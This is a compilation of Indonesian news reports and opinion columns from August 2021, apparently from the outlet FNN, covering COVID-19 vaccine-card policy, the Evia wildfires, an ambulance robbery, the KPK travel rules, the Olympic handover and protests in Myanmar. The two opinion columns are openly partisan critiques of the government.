By M RIzal Fadillah BAHWA vaksin itu penting mungkin tak mesti diperdebatkan meskipun masih ada sedikit pro kontra atas kualitas vaksin, usia untuk divaksin, maupun efek vaksin. Kecurigaan konspirasi tetap muncul meski tidak dominan. Vaksin sudah menjadi fenomena dunia dengan berbagai merk yang saling bersaing. Masalahnya adalah vaksin bagi warga negara itu hak atau kewajiban? Para pakar hukum lebih melihat pada dasar hukum yang ada sehingga meyakini dan menyatakan bahwa warga untuk divaksin itu adalah hak. Artinya seseorang boleh berkeberatan atau menolak untuk divaksin. UU No 6 tahun 2018 tentang Kekarantinaan Kesehatan tidak mengadopsi sanksi atas penolakan vaksin apalagi berkategori pidana. Pemerintah menganggap vaksin itu wajib dengan alasan untuk keamanan semua. Meskipun belum berani memberi sanksi pidana tetapi Perpres No 14 tahun 2021 telah mengatur sanksi administratif berupa penundaan atau penghentian pemberian jaminan masyarakat atau bantuan sosial, penundaan atau penghentian pelayanan administrasi pemerintahan, dan/atau denda. Sanksi penundaan atau penghentian pelayanan administrasi pemerintahan adalah memberatkan dan melanggar hak-hak warga bahkan bisa disebut penganiayaan atau pembunuhan hak administrasi rakyat. Vaksin menjadi alat pemaksaan kebijakan. Menteri Luhut Binsar Panjaitan dalam acara pemantauan vaksinasi di Setda Sleman menyatakan bahwa Pemerintah sedang mempersiapkan kartu vaksin Covid 19 dimana kartu vaksin ini menjadi syarat untuk masuk ke tempat umum seperti tempat kunjungan wisata atau pusat perbelanjaan. Masuk restauran pun kata Luhut harus ada kartu vaksin. Tempat-tempat yang nantinya dibolehkan untuk dikunjungi atau dimasuki dengan syarat kartu vaksin akan semakin banyak dan meluas. Harus ada ketentuan yang jelas untuk pengaturannya. Jika bersanksi hukum berat maka harus dituangkan dalam aturan setingkat Undang-Undang, jangan sampai seperti PPKM baik darurat maupun level-levelan yang pengaturannya hanya dalam bentuk Instruksi Mendagri. Pengaturan Pemerintah dalam menangani pandemi ini terlihat acak-acakan. PPKM saja nomenklaturnya tidak dikenal dalam Undang-Undang. PPKM diumumkan oleh Presiden namun bingkai aturannya berupa Instruksi Mendagri. Sementara soal vaksin dan vaksinasi ternyata diatur dalam Peraturan Presiden. Jadi kacau. Persyaratan kartu vaksin ada tanda-tanda akan diatur seenaknya. Dan jika ini dilakukan maka dampak publiknya sangat besar. Masyarakat mungkin akan banyak keberatan dan menolak pemberlakuan kartu vaksin yang bersifat pemaksaan. WHO meminta agar vaksinasi tidak dipaksakan. Menurutnya akan menjadi boomerang. Luhut menegaskan masuk mall dan restauran harus dengan kartu vaksin. Perluasannya bisa-bisa seluruh fasilitas umum harus dengan menunjukkan kartu vaksin seperti ke pasar, toko-toko, kampus, sekolah, masjid, hingga warteg dan WC umum. Terbayang dalam perjalanan atau sedang berjalan-jalan sudah kebelet tapi tidak memiliki atau lupa membawa kartu vaksin lalu tidak bisa masuk ke WC umum. Terbayang betapa sulitnya pengawasan atas konsistensi pelaksanaan. Dipastikan juga akan menambah biaya pekerjaan. Jadi pemberlakuan suatu kebijakan umum yang mengikat luas harus dengan persetujuan rakyat. Bukan semata atas kemauan dan cara yang ditentukan oleh Pemerintah sendiri dengan aturan atau tafsir aturan yang semau-maunya. NKRI ini bukan milikmu ! *) Pemerhati Politik dan Kebangsaan

Kebakaran Hutan Yunani Seperti 'Film Horor'

Pefki, FNN - Ribuan orang mengungsi dari rumah mereka di Pulau Evia, Yunani, ketika kebakaran hutan belum bisa dikendalikan sampai pada hari keenam, Minggu, dan kapal-kapal feri bersiaga untuk evakuasi lanjutan setelah mengangkut warga ke tempat aman. Kobaran api di Evia, pulau terbesar kedua di Yunani, segera menjalar ke beberapa tempat, menghanguskan ribuan hektare hutan asli di bagian utara, dan memaksa penduduk di puluhan desa mengungsi. Api menelan rumah-rumah di lima desa namun besar kerusakan belum diketahui. "(Ini) seperti film horor," kata seorang pengungsi berusia 38 tahun yang sedang hamil, setelah naik ke atas feri di pelabuhan kota Pefki yang dihujani abu. "Tapi sekarang bukan film, ini kejadian nyata, ini horor yang kami alami sepanjang pekan lalu," kata dia. Kebakaran hutan telah menghanguskan banyak tempat Yunani saat gelombang panas melanda selama sepekan, terburuk di negara itu dalam tiga dekade. Suhu yang membakar dan angin panas menciptakan kondisi yang seakan siap meledak. Di seluruh negeri, kawasan hutan telah terbakar dan puluhan rumah serta tempat usaha hancur. Sejak Selasa, penjaga pantai telah mengungsikan lebih dari 2.000 orang, termasuk warga lanjut usia, dari sejumlah tempat di Evia --pulau yang dihubungkan ke daratan dengan jembatan-- dalam upaya penyelamatan dramatis lewat laut di bawah langit malam yang merah. Para pengungsi lain meninggalkan desa mereka dengan berjalan kaki malam hari, melintasi jalan yang diterangi pohon-pohon terbakar. "Sebuah rumah terbakar di sana," kata seorang wanita kepada tim penyelamat ketika tiba di pengungsian sambil menunjuk kobaran api di kejauhan. "Di mana-mana, di mana-mana, di mana-mana," balas seorang petugas damkar. Gubernur Yunani tengah, Fanis Spanos, mengatakan situasi di bagian utara pulau tersebut "sangat sulit" selama hampir sepekan. "Lokasi kejadian sangat besar, kawasan yang terbakar sangat luas," kata dia kepada Skai TV. Lebih dari 2.500 orang telah diungsikan ke hotel-hotel dan tempat penampungan lain. Yunani telah mengerahkan tentara untuk mengatasi kebakaran dan sejumlah negara seperti Prancis, Mesir, Swiss, dan Spanyol telah mengirimkan bantuan, termasuk pesawat pemadam. Lebih dari 570 petugas pemadam berjuang mematikan api di Evia, di mana dua lokasi yang ramai terbakar di bagian utara dan selatan pulau itu. Di desa Psaropouli, para pengungsi mengungkapkan kemarahan mereka. "Saya kehilangan rumah… tak akan ada lagi yang sama esok hari," kata seorang wanita. "Ini adalah bencana. Sangat besar. Desa kami hancur, tak ada yang tersisa dari rumah kami, milik kami, tak ada, tak ada," kata dia. Wakil menteri perlindungan sipil Yunani Nikos Hardalias mengatakan tim penyelamat tengah melakukan "tindakan manusia super" untuk melawan kobaran api. "Malam besok akan menjadi sulit," katanya dalam pengarahan darurat Minggu malam. Sebelumnya dia mengatakan pesawat bom air di kawasan itu menghadapi sejumlah kesulitan, termasuk jarak pandang yang pendek akibat tebalnya asap di atas pegunungan, juga turbulensi. Kobaran api di Gunung Parnitha yang menyapu daerah pinggiran utara Athena telah dipadamkan, namun kondisi cuaca tetap jadi ancaman besar karena bisa memicu kebakaran lagi. (sws)

Polisi Minta Enam Perampok Petugas Ambulans COVID-19 Menyerahkan Diri

Rejang Lebong, Bengkulu, FNN - Kepolisian Resor Rejang Lebong, Bengkulu, meminta enam tersangka pelaku perampokan petugas ambulans COVID-19 di daerah itu pada 3 Juli 2021 menyerahkan diri. Kapolres Rejang Lebong AKBP Puji Prayitno di Rejang Lebong, Minggu, mengatakan dari tujuh pelaku perampokan petugas ambulans COVID-19, baru satu orang yang diamankan pada Jumat pagi (6/8), pukul 04.00 WIB, sedangkan enam orang lainnya masih dalam pencarian petugas. "Untuk enam pelaku lainnya kita imbau untuk segera menyerahkan diri, karena identitasnya sudah kita ketahui," kata dia. Dia menjelaskan enam pelaku yang masih buron ini, yaitu FM, DD, BM, SS, RG, dam BY, sedangkan satu orang yang sudah ditangkap adalah DS (21), warga Dusun Gardu, Desa Kepala Curup, Kecamatan Binduriang. Enam perampok tersebut, kata dia, bersama tersangka DS merampok dua petugas ambulans PSC 119 Kabupaten Rejang Lebong yang baru pulang mengantar pasien rujukan COVID-19 ke RS AR Bunda di Kota Lubuklinggau, Sumsel, pada Sabtu dini hari (3/7), pukul 01.06 WIB, tepatnya di Dusun Gardu, Desa Kepala Curup, Kecamatan Binduriang, Kabupaten Rejang Lebong. Mobil ambulans PSC 119 Rejang Lebong pelat BD 9177 KY ini dirampok setelah mengalami pecah ban, sopir dan satu perawat harus kehilangan dua HP, alat medis, dan uang Rp150 ribu setelah diancam dengan senjata tajam. "Kita ingin terciptanya rasa aman, tidak ada rasa ketakutan sehingga investasi bisa masuk ke Kabupaten Rejang Lebong, kita hilangkan stigma-stigma yang negatif. Saya yakin masyarakat Rejang Lebong tidak menginginkan itu, Rejang Lebong ini situasinya kondusif jangan sampai tercoreng gara-gara pembegalan ambulans kemarin," terangnya. Sebelumnya, Jumat pagi (6/8) sekitar pukul 04.00 WIB petugas gabungan Polres Rejang Lebong dan Polsek Padang Ulak Tanding (PUT) menangkap DS (21) warga Dusun Gardu Desa Kepala Curup, Kecamatan Binduriang yang bersembunyi di perkebunan di Desa Tanjung Aur, Kecamatan Sindang Kelingi. Tersangka DS terpaksa dilumpuhkan petugas dengan timah panas lantaran saat akan ditangkap melawan dan berupaya melarikan diri. (sws)

Orang Utan dan Binatang Istana

Entah siapa dan mulai kapan orang menyebut nama seekor binatang memakai nama manusia, barangkali karena ada kemiripan antara binatang tersebut dengan layaknya manusia, mungkin karena watak, sifat atau fisiknya. ORANG utan adalah satu-satunya binatang dari jutaan binatang di dunia yang mendapat kehormatan menerima predikat manusia, meskipun kuatnya tidak mirip harimau sang raja hutan, anjing polisi yang cerdas, gajah di Sumatra yang gede, Comodo di Pulau Buru yang kokoh perkasa, banteng di Spanyol yang tangguh maupun rusa yang populer soal tipu menipu, dan inilah yang disebut salah kaprah Maka, menjadi lumrah jika di lingkaran istana ada orang yang layak dijuluki binatang istana karena sifat, karakter dan tabiatnya yang sekelas binatang, yang mengedepankan kekuatan, kesempatan dan kemauannya untuk berpikir bisa dan menang tanpa dibarengi otak yang bermanusiawi. Dari sini kita bisa mencermati, siapa- siapa saja orang yang tergolong binatang itu, yang mengedepankan kekuasaan, wewenang, pengaruh dan kesempatan tanpa berpikir utuh untuk agama, bangsa dan negara. Orang kritis dianiaya, orang pidana nista nestapa dikasih jabatan strategis, orang salah direkayasa menjadi benar, orang benar dipoles agar menjadi salah, nyawa manusia dianggap nyawa binatang, orang kayak binatang kanibalis dipuja- puja, masa depanmu terserah kamu, kiniku adalah kesempatanku Konkritnya mereka berupaya merombak dan menggoyah Pancasila, menyusun HIP/ BPIP dengan berkedok aku Pancasilais, memasalah dan membenturkan agama dengan Pancasila dengan memakai topeng seorang agamis, merencanakan pindah Ibu Kota Negara baru di tempat yang sulit diterjemahkan, membikin gagasan Omnibus Law dengan berpikir terbalik memberdayakan bangsa lain dan mengkerdilkan bangsa sendiri, menggadaikan tanah dan lahan strategis bak tikus tanah yang otaknya hanya garuk-garuk tanah leluhur, menguasai dan merangkap beberapa jabatan untuk sinergi konspirasi, juga mereka yang mau dikontaminasi untuk memanfaatkan jabatan yang dilengkapi senjata agar menakut-nakuti rakyatnya, termasuk mereka mereka yang selalu mengubah hukum untuk mendukung pergantian jabatan Tidak ketinggalan mereka yang seharusnya menegakkan hukum justru terang terangan mengobrak abrik hukum tanpa malu, tanpa gentar. Otak otak penggadai negara dan pelacur jabatan inilah biang kehancuran NKRI. Oleh karenanya, tidak mungkin memberangus mereka-mereka ini dengan cara cara seporadis sendiri sendiri. Harus ada komando yang mengkordinir untuk berbuat dan berupaya menghadapi manusia binatang yang tak lekang dengan cara cara terbaik mengahadapi orang bisu dan orang tuli. Berupaya adalah batas kemampuan manusia, adapun keputusan adalah hak sang pencipta, sekecil dan sebesar apapun kelak ada balasannya. Setiap tujuan senantiasa dibatasi ruang dan waktu, yang harus direncanakan, dipersiapkan, dilaksanakan, diawasi dan dievaluasi secara cepat dan tepat. Maka bangsaku, janganlah pernah putus asa, bangun, bangkit dan bangkitlah untuk terus bergerak dan berjuang hingga titik akhir, dijalan Allah. Percayalah tidak ada pahlawan kesiangan dan pengorbanan yang sia sia dalam menegakkan kebenaran dan keadilan ditengah tengah kedzoliman.. Percaya dan yakinlah tidak ada musuh yang dahsyat kecuali pengkhianatan bangsamu sendiri! Semoga Allah swt, TYMK senantiasa membimbing dan melindungi kita semua.. Penulis adalah Purnawirawan TNI AD.

Kowani: Lansia Berperan dalam Tingkatkan Kepatuhan Prokes Keluarga

Jakarta, FNN - Ketua Kongres Wanita Indonesia (Kowani) Dr Giwo Rubianto Wiyogo mengatakan lansia memiliki peranan penting dalam meningkatkan kepatuhan protokol kesehatan pada generasi muda dalam keluarga. “Hasil survei yang dilakukan Badan Pusat Statistik (BPS) menunjukkan bahwa orang yang lebih tua cenderung mematuhi protokol kesehatan dari pada yang lebih muda,” ujar Giwo dalam webinar lansia berdaya mendukung tumbuh kembang anak yang dipantau di Jakarta, Ahad. Orang yang lebih tua cenderung memiliki pengetahuan yang lebih baik tentang pengetatan yang dilakukan pemerintah dibandingkan yang lebih muda. Perempuan lansia cenderung memiliki pengetahuan yang lebih baik tentang pengetatan yang dilakukan pemerintah dibandingkan pria lansia. Perempuan lansia cenderung memiliki tingkat kepatuhan yang lebih baik terhadap protokol kesehatan (prokes). Bahkan meskipun kurang memiliki pengetahuan tentang aturan pemerintah, tapi tetap mematuhi prokes. “Dalam masa pandemi COVID-19, perempuan memiliki peranan penting dalam ketahanan keluarga. Termasuk lansia, yang biasanya merawat, mendampingi dan memberikan kasih sayang tanpa batas,” kata dia. Oleh karena itu, lansia memiliki peran penting dalam perubahan perilaku pada masa pandemi. Mulai dari memahami cara pencegahan masuknya virus, memperhatikan upaya peningkatan imunitas diri sendiri dan anggota keluarga, mengingatkan keluarga untuk menaati protokol kesehatan, menjaga kebersihan rumah, mengingatkan anggota keluarga untuk mengikuti vaksinasi hingga mengingat untuk selalu menjadi contoh terbaik. “Sebagai lansia juga perlu menjadi teladan yang baik di rumah. Untuk itu perlu adanya pendekatan yang berbeda terhadap cucu maupun anggota keluarga lainnya,” tambah dia. Giwo juga mengajak lansia perempuan untuk menjadi nenek yang cerdas, mulai dari cerdas kodrati, cerdas tradisi, cerdas sosial, dan cerdas profesi. Dokter spesialis anak, dr Nurul Iman Nilam Sari MHKes SpA(K), mengatakan pandemi memiliki dampak pada tumbuh kembang anak. Mulai dari sakit akibat COVID-19, gangguan nutrisi, akses kesehatan terbatas, perubahan pola belajar mengajar, kehilangan orang tua hingga kekerasan pada anak. “Untuk itu orang tua maupun anggota keluarga yang berada di rumah perlu menaruh perhatian serius pada kesehatan anak. Mulai dari mengajarkan taat prokes, memberikan nutrisi yang adekuat untuk meningkatkan imunitas tubuh anak,” kata Nurul. Orang tua maupun lansia yang ada di rumah juga perlu memberikan perhatian lebih pada anak, dengan mengajaknya bermain dan melakukan aktivitas bersama. Hal itu dikarenakan pandemi dapat membuat stres, tidak hanya dewasa tetapi juga anak-anak. (mth)

Era Purnama Sari Dianugerahi SK Trimurti Award 2021

Jakarta, FNN - Aliansi Jurnalis Independen (AJI) memberikan SK Trimurti Award 2021 kepada Wakil Ketua Bidang Advokasi Yayasan Lembaga Bantuan Hukum Indonesia (YLBHI) Era Purnama Sari. "Era Purnama Sari layak menerima penghargaan ini karena konsistensi, kegigihan, dan keberaniannya dalam memperjuangkan hak asasi manusia. Tekanan dan intimidasi juga tak menyurutkannya, yang ia tunjukkan misalnya saat membela petani Jambi yang dikriminaliasi pada tahun 2019," kata Koordinator SK Trimurti Award 2021 Evi Mariani dalam keterangan tertulis di Jakarta, Minggu. Dewan Juri SK Trimurti Award 2021 menilai Era Purnama Sari memiliki reputasi yang baik, rekam jejak yang kuat dalam advokasi hak asasi manusia. Semangat dan keberaniannya, juga bisa dikategorikan lebih dari rata-rata. Saat mengadvokasi masyarakat, Era sedang menderita penyakit kanker yang tidak menyurutkan semangatnya untuk terlibat dalam sejumlah advokasi. Penghargaan itu diharapkan menginspirasi yang lain untuk memiliki semangat luar biasa dan tak kenal takut dalam memperjuangkan nilai-nilai kemanusiaan. Era merupakan aktivis perempuan kelahiran 3 Mei 1987 memiliki rekam jejak panjang dalam advokasi isu hak asasi manusia (HAM). Penyakit yang diidapnya tidak menyurutkan semangatnya untuk terlibat dalam advokasi soal kebebasan berekspresi dan menyuarakan perlindungan perempuan melalui kampanye pengesahan Rancangan Undang Undang Penghapusan Kekerasan Seksual. Pertimbangan tersebut membuat juri memilihnya sebagai pemenang penghargaan dari AJI yang dimaksudkan untuk mengenang legenda jurnalis dan aktivis perempuan SK Trimurti. Dewan Juri terdiri atas Abdul Manan sebagai Ketua Majelis Etik Nasional AJI Indonesia, Ni Nengah Budawati dari pendiri LBH Bali Women Crisis Centre, dan Siti Mazuma sebagai Direktur LBH Apik Jakarta. Penghargaan itu diberikan melalui proses yang panjang, mulai dari pencalonan yang disampaikan oleh anggota AJI dan publik sejak Juli lalu. Sampai akhir Juli, ada 21 nominasi yang masuk ke panitia. Panitia dan Dewan Juri kemudian melakukan pengecekan terhadap rekam jejak dan integritas calon yang diajukan, menguji karya atau tindakan yang dilakukan, serta menakar risiko yang dihadapi atas aktivitasnya tersebut. Akumulasi dari informasi itulah yang menjadi pertimbangan Dewan Juri dalam memilih pemenang penghargaan tersebut. SK Trimurti Award ini digagas AJI sejak 2008. Anugerah ini diberikan khusus kepada perempuan yang menunjukkan dedikasi perjuangannya terhadap isu hak asasi manusi, demokrasi, termasuk kebebasan berekspresi. Pemberian penghargaan ini merupakan bagian dari bentuk penghormatan terhadap perjuangan perempuan dan mendorong kesetaraan gender, termasuk di media. Anugerah ini sekaligus untuk mengenang pahlawan nasional perempuan yang juga jurnalis perempuan ternama, Soerastri Karma (SK) Trimurti. (mth)

Luhut Klaim Pemerintah Terus Tingkatkan Testing COVID-19

Jakarta, FNN - Menteri Koordinator Bidang Kemaritiman dan Investasi sekaligus Koordinator PPKM Jawa-Bali Luhut Binsar Pandjaitan mengklaim pemerintah terus meningkatkan testing dan tracing (pemeriksaan dan pelacakan) kasus COVID-19 di Jawa dan Bali. "Ke depannya tracing yang dilakukan oleh TNI dan Polri perlu tetap didorong, meski didahului dengan pencatatan manual dan paralel dengan perekrutan digital tracer untuk meng-input ke aplikasi SILACAK (Sistem Informasi Pelacakan)," kata Luhut dalam keterangan tertulis di Jakarta, Minggu. Luhut saat memimpin Rapat Koordinasi Evaluasi Testing Tracing di 7 Wilayah Aglomerasi, Sabtu (7/8), menyebut data testing sejak 1 Agustus 2021 menunjukkan adanya peningkatan. Luhut menuturkan pemerintah bersama TNI, Polri dan lembaga lainnya akan terus berkoordinasi, memantau serta mengejar target tracing sebagai bentuk mitigasi terhadap penyebaran kasus COVID-19 di area Jawa dan Bali. "Tujuan dari testing (pemeriksaan) dan tracing (pelacakan) adalah untuk menemukan kasus-kasus baru secara cepat, sehingga bisa mencegah penularan dan mempercepat tindakan treatment (perawatan) untuk penyembuhan," tuturnya. Menteri Kesehatan Budi Gunadi Sadikin dalam kesempatan yang sama mengatakan berdasarkan hasil pemantauan di SILACAK dan TNI/Polri, jumlah akun terus bertambah, begitu pula tenaga pelacak (tracer). "Total akun SILACAK dari TNI Polri akhir-akhir ini kita pantau pertambahannya sudah cukup banyak. Pun, jumlah tracer aktif per provinsi sudah tinggi di daerah Jawa dan Bali," tambah Menkes Budi. Peningkatan jumlah pemeriksaan atau testing serta vaksinasi menjadi dua langkah intervensi untuk menekan angka kematian akibat COVID-19. Pemerintah juga menggencarkan testing dan tracing di kawasan perumahan padat penduduk di wilayah aglomerasi guna memutus penularan COVID-19 varian Delta. (mth)

Inspektorat: 49,1 Persen Kelebihan Bayar Gaji PNS Telah Dikembalikan

Jakarta, FNN - Inspektorat Provinsi DKI Jakarta menyatakan, 49,1 persen kelebihan pembayaran gaji PNS di DKI Jakarta yang menjadi temuan Badan Pemeriksa Keuangan (BPK) DKI Jakarta telah dikembalikan. Inspektur Provinsi DKI Jakarta Syaefuloh Hidayat menyebutkan, kelebihan bayar yang mencapai Rp862,7 juta tersebut sudah dikembalikan ke Kas Daerah sebesar Rp423.573.275. "Seluruh bukti pengembalian dana ke Kas Daerah juga telah dilaporkan kepada BPK RI. Pemprov DKI terus mengupayakan agar pengembalian pembayaran dapat segera dituntaskan," kata Syaefullah dalam keterangannya di Jakarta, Ahad. Terkait temuan BPK mengenai kelebihan pembayaran gaji pegawai dan BPK memberikan rekomendasi untuk perbaikan administratif dan tidak ada kerugian negara terkait temuan ini, Syaefullah mengatakan Pemprov DKI sudah menindaklanjuti rekomendasi BPK terkait temuan ini. Yakni memperbaiki administratif dengan terbitnya Surat Edaran (SE) Kepala Badan Kepegawaian Daerah (BKD) Nomor 37 Tahun 2021 tentang Pemutakhiran Data Kepegawaian untuk memperkuat sistem administrasi data kepegawaian di DKI dan sebagai turunan dari Peraturan Gubernur (Pergub) Nomor 184 Tahun 2017 tentang Pemutakhiran Data Kepegawaian. "Dan tidak ada kerugian negara di temuan ini. Karena tidak terdapat peraturan perundangan yang dilanggar yang mengakibatkan terjadinya kerugian daerah dalam temuan administratif ini," kata Syaefuloh. Syaefuloh menyebutkan, BPK mencatat ada kelalaian administratif di antaranya adalah ada pegawai yang meninggal tetapi SKPD tidak segera melaporkan akta kematian ke BKD sehingga gaji tetap terbayarkan. Selain itu juga ada beberapa pegawai yang tugas belajar, namun terlambat melapor sehingga TKD masih dibayarkan dan mendapat tunjangan pendidikan. "Untuk kasus pegawai yang sudah meninggal, sudah dilakukan penyelesaian secara baik-baik dengan ahli waris, mereka mengembalikan kepada Pemprov DKI," katanya. Sedangkan yang tugas belajar juga sudah diminta untuk mengembalikan. "Kami akan terus koordinasikan agar kelebihan pembayaran tersebut dapat dikembalikan," katanya. Namun demikian, Inspektorat DKI Jakarta tidak menyinggung mengenai adanya pemberian gaji pada pegawai yang melakukan pelanggaran disiplin seperti yang terungkap dalam temuan BPK beberapa waktu lalu. Sebelumnya, BPK menemukan Pemerintah Provinsi DKI Jakarta masih membayar gaji dan tunjangan kinerja daerah pada pegawai mereka yang telah wafat atau pensiun pada tahun 2020 hingga jumlahnya mencapai Rp862,7 juta. Temuan itu disampaikan dalam Laporan Hasil Pemeriksaan (LHP) atas Laporan Keuangan Pemerintah DKI Jakarta Tahun 2020 yang disahkan oleh Kepala BPK Perwakilan DKI Jakarta Pemut Aryo Wibowo pada 28 Mei 2021. "Terdapat pembayaran gaji dan TKD kepada pegawai pensiun, pegawai pensiun atas permintaan sendiri, pegawai wafat, pegawai yang melaksanakan tugas belajar dan pegawai yang dijatuhi hukuman disiplin senilai Rp862,7 juta," dikutip dari laporan BPK di Jakarta, Kamis (5/8). (mth)

KPK Jelaskan Soal Perjalanan Dinas Pegawai Dapat Ditanggung Panitia

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menjelaskan soal perjalanan dinas pegawainya dapat ditanggung oleh panitia penyelenggara berdasarkan Peraturan Pimpinan KPK Nomor 6 Tahun 2021. Dengan beralihnya status kepegawaian KPK menjadi aparatur sipil negara (ASN) per 1 Juni 2021, kata Plt. Juru Bicara KPK Ali Fikri di Jakarta, Minggu, KPK perlu melakukan berbagai harmonisasi aturan yang berlaku secara umum di ASN, salah satunya terkait dengan perjalanan dinas. KPK pun menerbitkan Peraturan Pimpinan Komisi Pemberantasan Korupsi Nomor 6 Tahun 2021 tentang Perjalanan Dinas di Lingkungan Komisi Pemberantasan Korupsi tertanggal 30 Juli 2021. "Dalam perpim (peraturan pimpinan) dimaksud, disebutkan antara lain perjalanan dinas dalam rangka untuk mengikuti rapat, seminar, dan sejenisnya ditanggung oleh panitia penyelenggara. Perlu kami sampaikan, bilamana pegawai KPK menjadi narasumber untuk menjalankan tugas-tugas KPK juga tidak diperkenankan menerima honor," kata Ali dalam keterangannya. Meski demikian, lanjut dia, dalam hal panitia penyelenggara tidak menanggung biayanya maka biaya perjalanan dinas tersebut dibebankan pada anggaran KPK dengan memperhatikan tidak adanya pembiayaan ganda. Hal tersebut sebagaimana isi Pasal 2A perpim tersebut. 1. Pelaksanaan perjalanan dinas di lingkungan Komisi Pemberantasan Korupsi untuk mengikuti rapat, seminar, dan sejenisnya ditanggung oleh panitia penyelenggara. 2. Dalam hal panitia penyelenggara sebagaimana dimaksud pada ayat (1) tidak menanggung biayanya maka biaya perjalanan dinas tersebut dibebankan pada anggaran Komisi Pemberantasan Korupsi dan dengan memperhatikan tidak adanya pembiayaan ganda. Ali mengatakan sistem perjalanan dinas KPK kini bisa mengakomodasi adanya pembiayaan kegiatan bersama yang dibebankan antarlingkup ASN, yakni dengan kementerian maupun lembaga. "Dalam kegiatan bersama, KPK bisa menanggung biaya perjalanan dinas pihak terkait dan sebaliknya. Peraturan ini tidak berlaku untuk kerja sama dengan pihak swasta," ungkap Ali. Ia juga menegaskan bahwa biaya perjalanan dinas merupakan biaya operasional kegiatan bukan gratifikasi apalagi suap. "Sharing pembiayaan ini mendorong agar pelaksanaan program kegiatan tidak terkendala karena ketidaktersediaan anggaran pada salah satu pihak. Padahal, program tersebut sangat penting untuk tetap bisa dilakukan secara optimal. Penting juga dipastikan tidak adanya pembiayaan ganda dalam kegiatan bersama tersebut," tuturnya. Kendati demikian, kata Ali, untuk mengantisipasi timbulnya konflik kepentingan pada penanganan suatu perkara, kegiatan pada bidang penindakan tetap menggunakan anggaran KPK. Ia menyatakan bahwa pegawai KPK dalam pelaksanakan tugasnya tetap berpedoman pada kode etik pegawai dengan pengawasan ketat oleh dewan pengawas dan inspektorat untuk menolak gratifikasi dan menghindari konflik kepentingan. "Kami mengajak masyarakat untuk turut mengawasi penggunaan anggaran negara agar terus taat terhadap aturan dan mengedepankan ketepatan sasaran serta manfaatnya," ujar Ali. (mth)

Tokyo Serahkan Bendera Olimpiade ke Paris

Jakarta, FNN - Olimpiade Tokyo 2020 berakhir pada Ahad, 8 Agustus 2021. Penutupan diikuti dengan acara serah terima bendera Olimpiade secara simbolis ke Paris selaku tuan rumah pesta olahraga empat tahunan tersebut pada 2024 mendatang. Bendera Olimpiade dikembalikan oleh Gubernur Tokyo Yuriko Koike selaku tuan rumah Olimpiade 2020 kepada Presiden Komite Olimpiade Internasional (IOC) Thomas Bach. Selanjutnya bendera tersebut diserahkan kepada Wali Kota Paris Anne Hidalgo. Acara dilanjutkan dengan menyanyikan lagu kebangsaan Prancis “La Marseillaise.” Sementara itu, di belahan benua lain, warga Prancis menyambut gembira penyerahan bendera tersebut sekaligus. Mereka merayakan status sebagai tuan rumah Olimpiade yang akan digelar tiga tahun mendatang di depan Menara Eiffel. Pada Juli 2017, Paris akhirnya memenangi status tuan rumah pesta olahraga empat tahunan setelah tiga kali gagal dalam pencalonan untuk Olimpiade 1992, 2008, dan 2012. Olimpiade 2024 sekaligus menandai ketiga kalinya kota mode itu menyelenggarakan Olimpiade. Hal itu bertepatan dengan 100 tahun setelah mereka terakhir kali menjadi tuan rumah pada 1924 silam. Sebagaimana dikutip dari Antara, Paris akan menjadi kota kedua yang menyelenggarakan Olimpiade Musim Panas untuk ketiga kalinya setelah London (1908, 1948, dan 2012). Olimpiade Paris yang dijadwalkan berlangsung mulai 26 Juli sampai 11 Agustus 2024 akan mempertandingkan 32 cabang olahraga yang mencakup 329 disiplin. Amerika Serikat keluar sebagai juara umum dalam 16 hari pelaksanaan Olimpiade Tokyo 2020. Negara tersebut berhasil meraih 39 medali emas, 41 perak dan 33 perunggu. Posisi kedua dipegang China dengan 38 emas, 32 perak dan 18 perunggu. Negeri Paman Sam itu melanjutkan dominasi mereka yang selalu menjadi juara umum Olimpiade dalam enam dari tujuh edisi terakhir sejak Atlanta 1992. Kecuali saat China menjadi raja di tanah sendiri dalam Beijing 2008. (MD).

Myanmar Dilanda Protes Terhadap Pemerintah Militer

Bangkok, FNN - Protes terhadap pemerintah militer Myanmar berlangsung di berbagai penjuru negeri pada Ahad, 8 Agustus 2021. Protes tersebut bertepatan dengan aksi memperingati penindasan berdarah atas pemberontakan terhadap junta militer pada 1988. Setidaknya enam protes terpisah didokumentasikan di laman Facebook penentang pemerintahan militer. Junta militer enam bulan lalu merebut kekuasaan dari pemerintah terpilih dan menahan pemimpinnya, Aung San Suu Kyi, serta beberapa pejabat penting lainnya. Kudeta pada 1 Februari 2021 itu mengakhiri eksperimen singkat selama satu dekade dalam demokrasi di negara Asia Tenggara yang berpenduduk 53 juta jiwa tersebut. Perebutan kekuasaan tersebut sekaligus menghancurkan harapan, negara itu akan keluar dari kekuasaan militer selama lebih dari setengah abad. Pemerintah baru yang dipimpin oleh Min Aung Hlaing, jenderal militer paling senior yang menjabat sebagai perdana menteri sementara pekan lalu, mengatakan, pihaknya bertindak sesuai dengan konstitusi untuk menyingkirkan pemerintahan Suu Kyi setelah memperdebatkan pemilihan yang dimenangkan partainya. Komisi pemilihan Myanmar mengatakan, pemiliu tersebut itu berjalan dengan adil. Banyak dari protes yang berlangsung pada Ahad (8/8/2021) mengacu pada pemberontakan demokrasi 8-8-88 pada 8 Agustus 1988, yang ditumpas oleh rezim militer saat itu. Para penentang militer mengatakan, sekitar 3.000 orang tewas selama tindakan keras itu. “Utang lama dari 88, kita harus mendapatkan semuanya dalam 21 ini," teriak pengunjuk rasa di Kota Wundwin, di wilayah Mandalay, yang direkam di video Facebook, sebagaimana dikutip dari Antara. Protes lain di kawasan Myaing menampilkan plakat bertuliskan, "Mari kita berjuang bersama menuju pembebasan masyarakat 8.8.88 yang belum selesai." Seorang juru bicara pemerintah militer tidak dapat dihubungi guna dimintai komentar soal protes tersebut. Pemberontakan 1988 merupakan tantangan terbesar bagi pemerintahan militer --yang telah berlangsung sejak 1962. Min Aung Hlaing pada Ahad merilis sebuah pernyataan yang memuji hari peringatan lain, yakni berdirinya Perhimpunan Bangsa-Bangsa Asia Tenggara (ASEAN) 54 tahun lalu. Pernyataan itu tidak menyebutkan utusan khusus untuk Myanmar yang ditunjuk oleh ASEAN dalam beberapa hari lalu. Utusan tersebut ditugaskan untuk mengakhiri kekerasan pascakudeta dan mendorong perwujudan pembicaraan antara militer dan lawan-lawannya. Pada Sabtu (7/8) sang utusan baru ASEAN, diplomat Brunei Erywan Yusof, mengatakan, ia harus diberikan akses penuh guna menemui semua pihak saat dia berkunjung ke Myanmar. Belum ada jadwal terkait perjalanan tersebut. (MD).

